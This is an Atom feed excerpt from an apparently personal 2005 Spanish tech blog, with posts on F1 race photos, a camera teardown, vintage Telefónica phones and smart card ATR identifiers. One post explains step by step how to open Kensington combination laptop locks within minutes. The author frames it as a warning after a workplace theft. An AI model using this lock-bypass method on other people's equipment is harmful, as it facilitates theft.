&lt;p&gt;Errrr...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112817778065267534?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112817778065267534/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112817778065267534' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112817778065267534'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112817778065267534'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/10/fer-2005-part-1.html' title='FER 2005 (Part 1)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112595231073818098</id><published>2005-09-05T22:17:00.000+02:00</published><updated>2007-04-17T08:40:45.968+02:00</updated><title type='text'>Un día en las carreras (parte 3)</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-7.jpg"&gt;&lt;br&gt;El tren de neum&amp;aacute;ticos de Ferrari.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-8.jpg"&gt;&lt;br&gt;Mujer de rojo.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-9.jpg"&gt;&lt;br&gt;Parece que Honda no tuvo mucha suerte con los neum&amp;aacute;ticos.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-10.jpg"&gt;&lt;br&gt;El personal de Renault se reune junto a la barra de Ferrari para celebrar la buena actuaci&amp;oacute;n de sus pilotos (y de paso chinchar al contrario).&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-11.jpg"&gt;&lt;br&gt;Briatore atiende seriamente a la prensa mientras su compa&amp;ntilde;ero hace el payaso.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-12.jpg"&gt;&lt;br&gt;&amp;iexcl;Ya casi acaricia el campeonato!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112595231073818098?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112595231073818098/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112595231073818098' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112595231073818098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112595231073818098'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/09/un-da-en-las-carreras-parte-3.html' title='Un d&amp;iacute;a en las carreras (parte 3)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112594056607062381</id><published>2005-09-05T18:53:00.000+02:00</published><updated>2007-04-17T08:40:40.341+02:00</updated><title type='text'>Un día en las carreras (parte 2)</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-6.jpg"&gt;&lt;br&gt;Los chicos de Ferrari con trabajo en Boxes...&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-5.jpg"&gt;&lt;br&gt;&amp;iexcl;En Renault tampoco est&amp;aacute;n parados!&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-2.jpg"&gt;&lt;br&gt;A los ganadores primero les hacen pasillo las estupendas chicas de Vodafone...&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-3.jpg"&gt;&lt;br&gt;... Y luego los chavales de la prensa (en una plataforma m&amp;oacute;vil).&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-4.jpg"&gt;&lt;br&gt;Detalle de las ranuras de ventilaci&amp;oacute;n del RS25.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/f1-1.jpg"&gt;&lt;br&gt;Montando el coche deprisa y corriendo antes de la carrera.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112594056607062381?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112594056607062381/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112594056607062381' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112594056607062381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112594056607062381'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/09/un-da-en-las-carreras-parte-2.html' title='Un d&amp;iacute;a en las carreras (parte 2)'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112587069436336699</id><published>2005-09-04T23:49:00.000+02:00</published><updated>2007-04-17T08:40:33.205+02:00</updated><title type='text'>Un día en las carreras</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/monza_s.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Ma&amp;ntilde;ana si tengo un rato publico unas cuantas fotos curiosas de la carrera.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112587069436336699?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112587069436336699/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112587069436336699' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112587069436336699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112587069436336699'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/09/un-da-en-las-carreras.html' title='Un d&amp;iacute;a en las carreras'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112308149994686622</id><published>2005-08-03T16:40:00.000+02:00</published><updated>2007-01-25T20:13:34.851+01:00</updated><title type='text'>Fracaso documentado</title><content type='html'>&lt;p&gt;Hace algunos d&amp;iacute;as comentaba mi intenci&amp;oacute;n de arreglar mi vieja c&amp;aacute;mara &lt;a href="http://h10025.www1.hp.com/ewfrf/wc/documentSubCategory?dlc=en&amp;lc=en&amp;product=59055&amp;lang=en&amp;cc=us&amp;rule=57016"&gt;HP Photosmart 612&lt;/a&gt;, que se negaba a enfocar correctamente alegando un &lt;b&gt;Error 108&lt;/b&gt;. Bueno, pues al fin me he puesto manos a la obra, pero desgraciadamente sin conseguir arreglarla. De todas formas os detallo el proceso de desmontaje, que quiz&amp;aacute;s a alguien le resulte &amp;uacute;til:&lt;/p&gt;
&lt;p&gt;Empezamos quitando la placa de la parte superior, hay que tener un poco de cuidado, ya que tiene un punto de soldadura con la placa vertical:&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/top_pp.jpg"&gt;&lt;/p&gt;
Si tenemos todos los tornillos quitados, simplemente acercando el soldador y haciendo un poco de presi&amp;oacute;n la placa sale sin problemas:&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/sold_pp.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Adem&amp;aacute;s de los tornillos y la soldadura, las placas est&amp;aacute;n unidas por un conector, pero va a presi&amp;oacute;n y sale sin ning&amp;uacute;n problema.&lt;/p&gt;
&lt;p&gt;Una vez retirada la placa superrios procedemos a desencajar la pantalla para que no moleste, esta va encajada en un marco met&amp;aacute;lico del cual sale sin protestar. En cuanto levantemos la pantalla podremos ver que adem&amp;aacute;s de los dos cables grades, esta est&amp;aacute; unida a la placa con un conector plano.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/conn_pp.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Para liberar el cable plano &amp;uacute;nicamente debemos levantar con cuidado la pletina pl&amp;aacute;stica (de distinto color m&amp;aacute;s) y tirar ligeramente de este.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/p1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;El marco met&amp;aacute;lico que sujetaba la pantalla molesta un poco a la hora de abrir el conector del cable plano, pero es casi mejor no quitarlo, ya que tiene un par de puntos de soldadura.&lt;/p&gt;
&lt;p&gt;Ahora que hemos retirado la pantalla, procedemos a quitar la segunda placa. Esta tambi&amp;eacute;n tiene un par de agarres soldados que debemos soltar (un par de palitos). De nuevo, acercando el soldador y con una m&amp;iacute;nima presi&amp;oacute;n, salen sin problemas:&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/sold2_pp.jpg"&gt;&lt;/p&gt;
Adem&amp;aacute;s de las soldaduras y los tornillos, tambi&amp;eacute;n encontraremos un conector a presi&amp;oacute;n (que no tiene porqu&amp;eacute; resistirse) y otro cable plano. El procedimiento para abrir el cable plano es el mismo que hemos descrito anteriormente.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/ccd_pp.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Cuando estemos retirando la placa hay que tener cuidado de que no se nos caiga el cristal del CCD, que est&amp;aacute; simplemente apoyado y se sale en cuanto ponemos la placa boca abajo.&lt;br&gt;
Ya con la placa retirada podemos ver que el procesador central es un &lt;a href="http://www.hyperstone.com/"&gt;Hyperstone&lt;/a&gt; &lt;a href="http://www.hyperstone.com/index.php?seite=dsp_processors_main_features_en&amp;navigation=1747&amp;root=497&amp;kanal=html"&gt;E1-16XS&lt;/a&gt;, y un integrado de &lt;a href="http://www.altek.com.tw/"&gt;Altek&lt;/a&gt;, que es el verdadero fabricante de la c&amp;aacute;mara (y no &lt;a href="http://welcome.hp.com/country/es/es/welcome.html"&gt;HP&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Llegados a este punto tenemos completo acceso a la &amp;oacute;ptica, as&amp;iacute; que la retiramos quitando el par de tornillos que la sujetan:&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/optica.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Por la parte trasera podemos ver que hay una delgada l&amp;aacute;mina pl&amp;aacute;stica unida por tres tornillos y que en algunos sitios aprisiona el cable plano, debemos retirarla con cuidado, ya que al levantarla liberamos un muelle que al saltar podr&amp;iacute;a perderse:&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/optica_e.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Una vez retirada, tenemos por fin acceso a la lente de enfoque, utiliza un par de agujas met&amp;aacute;licas como gu&amp;iacute;a, y una de ellas est&amp;aacute; roscada para calibrar el enfoque, ni que decir tiene que deber&amp;iacute;amos tener cuidado de que no se mueva de su posici&amp;oacute;n original. La lente estaba sujeta &amp;uacute;nicamente por el muelle, as&amp;iacute; que con poner el conjunto boca abajo deber&amp;iacute;a salir, si no, podemos ayudarla un poco, pero con cuidado de no dejar huellas en la lente.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/lente.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Pues se supone que esa es la pieza que deber&amp;iacute;a estar rota, pero yo la veo en perfecto estado.&lt;/p&gt;
&lt;p&gt;Os resumo r&amp;aacute;pidamente el resto del proceso:&lt;br&gt;
Vuelvo a ensamblar la c&amp;aacute;mara (no tiene ning&amp;uacute;n problema y es un proceso muy r&amp;aacute;pido, lo &amp;uacute;nico con lo que hay que tener cuidado es que el bot&amp;oacute;n de disparo no quede aprisionado con la carcasa al terminal de montar todo), pero sigue dando el mismo error 108. La desmonto de nuevo y esta vez termino de abrir la mec&amp;aacute;nica del &lt;i&gt;zoom&lt;/i&gt;, pero lo &amp;uacute;nico que consigo es que ahora (tras montarla por segunda vez), adem&amp;aacute;s del error 108, proteste por un &lt;b&gt;Error 109&lt;/b&gt;, que ni lo he mirado, pero debe ser que el &lt;i&gt;zoom&lt;/i&gt; se ha atascado, ya que no lo dej&amp;eacute; especialmente bien montado.&lt;/p&gt;
&lt;p&gt;La c&amp;aacute;mara ha terminado en la basura (una pena) y yo he perdido un par de horas (y adem&amp;aacute;s me he hecho una peque&amp;ntilde;a quemadura gracias a una descarga del condensador del &lt;i&gt;flash&lt;/i&gt;), no es precisamente el final que esperaba, pero bueno...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112308149994686622?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112308149994686622/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112308149994686622' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112308149994686622'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112308149994686622'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/08/fracaso-documentado.html' title='Fracaso documentado'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112258946678813785</id><published>2005-07-29T00:05:00.000+02:00</published><updated>2007-01-25T20:17:44.827+01:00</updated><title type='text'>Heraldo</title><content type='html'>&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/heraldo_2.jpg"&gt;&amp;nbsp;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/heraldo_1.jpg"&gt;&lt;/p&gt;
&lt;p&gt;
Hace un tiempo inici&amp;eacute; una curiosa colecci&amp;oacute;n: Tel&amp;eacute;fonos Heraldo. El modelo Heraldo es el tel&amp;eacute;fono de sobremesa que &lt;a href="http://www.telefonica.es/"&gt;Telef&amp;oacute;nica&lt;/a&gt; (entonces CTNE, Compa&amp;ntilde;&amp;iacute;a Telef&amp;oacute;nica Nacional de Espa&amp;ntilde;a) distribuy&amp;oacute; para l&amp;iacute;neas dom&amp;eacute;sticas durante los a&amp;ntilde;os 70 y 80. Si no recuerdo mal, fue sustituido por el modelo Teide.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/heraldo.jpg"&gt;&lt;/p&gt;
&lt;p&gt;De mi peque&amp;ntilde;a colecci&amp;oacute;n, todos los modelos funcionan perfectamente menos el de la foto izquierda, el de la botonera de multifrecuencia, y pensaba dedicar un rato a arreglarlo, as&amp;iacute; que he abierto otro (un modelo corriente) para comparar, y me he encontrado dentro un papel con el esquema el&amp;eacute;ctrico &amp;iexcl;As&amp;iacute; da gusto!&lt;/p&gt;
&lt;p&gt;Pues nada, otra cosa apuntada en la lista de tareas para dedicarle un par de horas...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112258946678813785?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112258946678813785/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112258946678813785' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112258946678813785'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112258946678813785'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/07/heraldo.html' title='Heraldo'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-112145881127663636</id><published>2005-07-15T21:48:00.000+02:00</published><updated>2007-01-25T20:13:44.730+01:00</updated><title type='text'>Candados Kensington</title><content type='html'>&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/kensington_s.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Ayer robaron un par de ordenadores port&amp;aacute;tiles en mi trabajo, y comentando con los compa&amp;ntilde;eros, algunos se extra&amp;ntilde;aban de que no hubiesen cortado el cable del candado &lt;i&gt;Kensington&lt;/i&gt; con el que estaban atados.&lt;/p&gt;
&lt;p&gt;La verdad es que la seguridad de este tipo de candados es m&amp;iacute;nima, especialmente los modelos de contrase&amp;ntilde;a. Voy a tratar de explicar como se abren en unos pocos minutos estos &amp;uacute;ltimos:&lt;/p&gt;
&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/lock1.png"&gt;&lt;/p&gt;
Las ruedas con la numeraci&amp;oacute;n giran solidariamente con un una porci&amp;oacute;n del eje central, la cual tiene una hendidura longitudinal.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://img.photobucket.com/albums/v664/ClawGrip/lock2.png"&gt;&lt;/p&gt;
&lt;p&gt;Como pr&amp;aacute;cticamente todos los candados tienen la holgura suficiente como para ver el eje entre la carcasa y las propias ruedas y distinguir las hendiduras, el truco consiste en alinearlas longitudinalmente y luego desplazarlas hasta la posici&amp;oacute;n del pulsador. Si no tenemos muy claro en que lugar tiene que quedar la linea de hendiduras, podemos ir desplazando posici&amp;oacute;n a posici&amp;oacute;n hasta encontrarla, es decir, si por ejemplo, una vez tenemos las hendiduras alineadas la contrase&amp;ntilde;a actual es &lt;code&gt;8 6 4 3&lt;/code&gt;, seguidamente tenemos que probar &lt;code&gt;9 7 5 4&lt;/code&gt;, despu&amp;eacute;s &lt;code&gt;0 8 6 5&lt;/code&gt;, y as&amp;iacute; hasta que una de las combinaciones funcione (como mucho tendremos que girar las ruedas nueve veces, que no es mucho).&lt;/p&gt;
&lt;p&gt;Vale, los candados se pueden abrir sin dificultades, eso es algo que, aunque no lo supiesemos con seguridad, nos lo imagin&amp;aacute;bamos, y no creo que nadie les conf&amp;iacute;e completamente la seguridad de su port&amp;aacute;til, pero detr&amp;aacute;s de todo esto hay un riesgo mayor: &amp;iquest;Cuantas personas usar&amp;aacute;n el PIN de su tarjeta de cr&amp;eacute;dito como contrase&amp;ntilde;a de su candado? Estoy seguro que unos cuantos, y si bien el PIN de la tarjeta de cr&amp;eacute;dito no es facil de averiguar, acabamos de demostrar que lo segundo s&amp;iacute; lo es...&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/10641410-112145881127663636?l=clawgrip.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://clawgrip.blogspot.com/feeds/112145881127663636/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=10641410&amp;postID=112145881127663636' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112145881127663636'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/10641410/posts/default/112145881127663636'/><link rel='alternate' type='text/html' href='http://clawgrip.blogspot.com/2005/07/candados-kensington.html' title='Candados &lt;i&gt;Kensington&lt;/i&gt;'/><author><name>ClawGrip</name><uri>http://www.blogger.com/profile/01642075733721628015</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-10641410.post-111909667879384165</id><published>2005-06-18T13:54:00.000+02:00</published><updated>2007-01-25T20:13:56.670+01:00</updated><title type='text'>Identificar tarjetas inteligentes</title><content type='html'>&lt;p&gt;Una forma r&amp;aacute;pida y segura de identificar una tarjeta inteligente, adem&amp;aacute;s de buscar por el reverso las inscripciones del fabricante, que no siempre est&amp;aacute;n, es comprobar su &lt;i&gt;ATR&lt;/i&gt;. El &lt;i&gt;ATR&lt;/i&gt; es la respuesta que da una tarjeta cuendo se la reinicializa (&lt;i&gt;ATR&lt;/i&gt; = &lt;i&gt;Answer To Reset&lt;/i&gt;), que es un n&amp;uacute;mero hexadecimal que cambia seg&amp;uacute;n la marca y el modelo de la tarjeta.&lt;/p&gt;
&lt;p&gt;Desgraciadamente, nadie (al menos que yo sepa) mantiene una base de datos con &lt;i&gt;ATR&lt;/i&gt; de tarjetas, con lo que aunque sepamos dicho n&amp;uacute;mero tampoco nos ayuda en exceso, as&amp;iacute; que me he animado a publicar aqu&amp;iacute; una peque&amp;ntilde;a lista con los &lt;i&gt;ATR&lt;/i&gt; de las tarjetas que tengo por casa:&lt;/p&gt;
&lt;p&gt;Schlumberger (&lt;a href="http://www.axalto.com/"&gt;Axalto&lt;/a&gt;) &lt;a href="http://www.axalto.com/banking/payflex.asp"&gt;Payflex&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b 69 00 00 24 94 01 02 01 00 01 01 a9&lt;br&gt;
&lt;br&gt;
Schlumberger (Axalto) Micro Payflex&lt;br&gt;
&amp;nbsp;#3b 69 00 00 24 94 01 03 01 00 01 00 a9&lt;br&gt;
&lt;br&gt;
Schlumberger (Axalto) &lt;a href="http://www.axalto.com/infosec/cyberflex_access.asp"&gt;Cyberflex Access&lt;/a&gt; 32K&lt;br&gt;
&amp;nbsp;#3b 65 00 00 9c 02 02 06 01&lt;br&gt;
&lt;br&gt;
Schlumberger (Axalto) Cyberflex Access 64K (&lt;a href="http://www.activcard.com/en/products/4_3_6_smart_cards.php"&gt;ActivCard&lt;/a&gt;)&lt;br&gt;
&amp;nbsp;#3b 65 00 00 29 05 01 02 01&lt;br&gt;
&lt;br&gt;
Schlumberger (Axalto) Cyberflex Access 32K &lt;a href="http://www.axalto.com/infosec/cyberflex_access.asp"&gt;e-Gate&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b 75 94 00 00 62 02 02 02 01&lt;br&gt;
&lt;br&gt;
Schlumberger (Axalto) Cyberflex Access (tipo deconocido, &lt;a href="http://www.precisebiometrics.com/products.asp?FIRSTLEVELID=20020624_141537_51337941&amp;GROUPID=20020827_122318_445983F"&gt;Precise Biometrics Match-on-Card&lt;/a&gt;)&lt;br&gt;
&amp;nbsp;#3b 76 94 00 00 00 9c 11 01 03 02&lt;br&gt;
&amp;nbsp;#3b 76 94 00 00 00 9c 11 01 03 03&lt;br&gt;
&lt;br&gt;
Schlumberger (Axalto) SIM (modelo desconocido)&lt;br&gt;
&amp;nbsp;#3b 17 94 89 01 02 00 00 41 03&lt;br&gt;
&lt;br&gt;
&lt;a href="http://www.oberthurcs.com/"&gt;Oberthur&lt;/a&gt; &lt;a href="http://www.oberthurusa.com/pns-sc-prod-ecom-cosmo.asp"&gt;CosmopolIC&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b 7f 18 00 00 00 31 c0 73 9e 01 0b 64 52 d9 05 00 82 90 00&lt;br&gt;
&amp;nbsp;#3b 7f 18 00 00 00 31 c0 73 9e 01 0b 64 52 d9 04 00 82 90 00&lt;br&gt;
&lt;br&gt;
&lt;a href="http://www.gi-de.com/"&gt;GyD&lt;/a&gt; &lt;a href="http://www.gi-de.com/portal/page?_pageid=42,54878&amp;_dad=portal&amp;_schema=PORTAL"&gt;StarCos S2.1&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b bf 18 00 80 31 70 32 53 54 41 52 43 4f 53 20 53 32 31 20 43 90 00 9c&lt;br&gt;
&lt;br&gt;
GyD StarCos &lt;a href="http://www.gi-de.com/portal/page?_pageid=42,70521&amp;_dad=portal&amp;_schema=PORTAL"&gt;SPK 2.3&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b b7 94 00 81 31 fe 65 53 50 4b 32 33 90 00 d1&lt;br&gt;
&lt;br&gt;
GyD &lt;a href="http://www.gi-de.com/pls/portal/maia.display_custom_items.DOWNLOAD_SEEALSO_FILE?p_ID=5781"&gt;SmartCafe Expert 3.22&lt;/a&gt; (SFSE-CX322-V)&lt;br&gt;
&amp;nbsp;#3b 6f 00 ff 53 46 53 45 2d 43 58 33 32 32 2d 56 18 02 02&lt;br&gt;
&lt;br&gt;
&lt;a href="http://www.gemplus.com/"&gt;Gemplus&lt;/a&gt; (modelo desconocido, Precise Biometrics Match-on-card)&lt;br&gt;
&amp;nbsp;#3b 2a 00 80 65 a2 01 02 01 31 72 d6 43&lt;br&gt;
&lt;br&gt;
Gemplus &lt;a href="http://www.gemplus.com/products/gemxpresso_lite_range/"&gt;GemXpresso Lite&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b 6d 00 00 80 31 80 65 b0 43 01 00 77 83 00 90 00&lt;br&gt;
&lt;br&gt;
Gemplus &lt;a href="http://www.gemplus.com/products/gemxpresso_pro_range/"&gt;GemXpresso Pro&lt;/a&gt; 64&lt;br&gt;
&amp;nbsp;#3b 7b 94 00 00 80 65 b0 83 01 01 74 83 00 90 00&lt;br&gt;
&lt;br&gt;
Gemplus GemXpresso 211PKIS (Beta)&lt;br&gt;
&amp;nbsp;#3b ad 00 40 ff 80 31 80 65 b0 05 01 01 5e 83 00 90 00&lt;br&gt;
&lt;br&gt;
Gemplus GemXpresso 211IS V2&lt;br&gt;
&amp;nbsp;#3b 6e 00 00 80 31 80 65 b0 03 02 01 5e 83 00 00 90 00&lt;br&gt;
&lt;br&gt;
Gemplus (modelo desconocido)&lt;br&gt;
&amp;nbsp;#3b 68 00 00 80 66 a2 06 02 01 32 0e&lt;br&gt;
&lt;br&gt;
Gemplus GemSafe (modelo desconocido, probablemente GemXpresso)&lt;br&gt;
&amp;nbsp;#3b 7b 94 00 00 80 65 b0 83 01 03 74 83 00 90 00&lt;br&gt;
&lt;br&gt;
Gemplus &lt;a href="http://www.gemplus.com/products/gpk16000/"&gt;GPK 16000&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b a7 00 40 18 80 65 a2 09 01 02 52&lt;br&gt;
&lt;br&gt;
Gemplus SIM (modelo desconocido)&lt;br&gt;
&amp;nbsp;#3b 3f 94 00 80 69 af 03 07 06 68 00 21 0a 0e 83 3e 9f 16&lt;br&gt;
&lt;br&gt;
&lt;a href="http://www.siemens.com/security"&gt;Siemens&lt;/a&gt; &lt;a href="http://www.siemens.com/index.jsp?sdc_p=t3cz3s4u0o1197281pHPn1180841flmi1183608&amp;sdc_sid=16003199004&amp;#cardos"&gt;CardOS&lt;/a&gt; 4.01&lt;br&gt;
&amp;nbsp;#3b f2 98 00 ff c1 10 31 fe 55 c8 03 15&lt;br&gt;
&lt;br&gt;
&lt;a href="http://www.fnmt.es/txtes/html/taid/fichaTarjeta/fp1_ta_02.asp"&gt;FNMT TIBC&lt;/a&gt; (Prototipo)&lt;br&gt;
&amp;nbsp;#3b 26 00 11 0b 72 00 90 00&lt;br&gt;
&lt;br&gt;
FNMT &lt;a href="http://www.cert.fnmt.es/pilotos/tarjeta.htm"&gt;Criptonita&lt;/a&gt;&lt;br&gt;
&amp;nbsp;#3b ef 00 00 40 14 80 25 43 45 52 45 53 57 01 16 01 01 03 90 00&lt;br&gt;
&lt;br&gt;
FNMT Criptonita prototipo DNI&lt;br&gt;
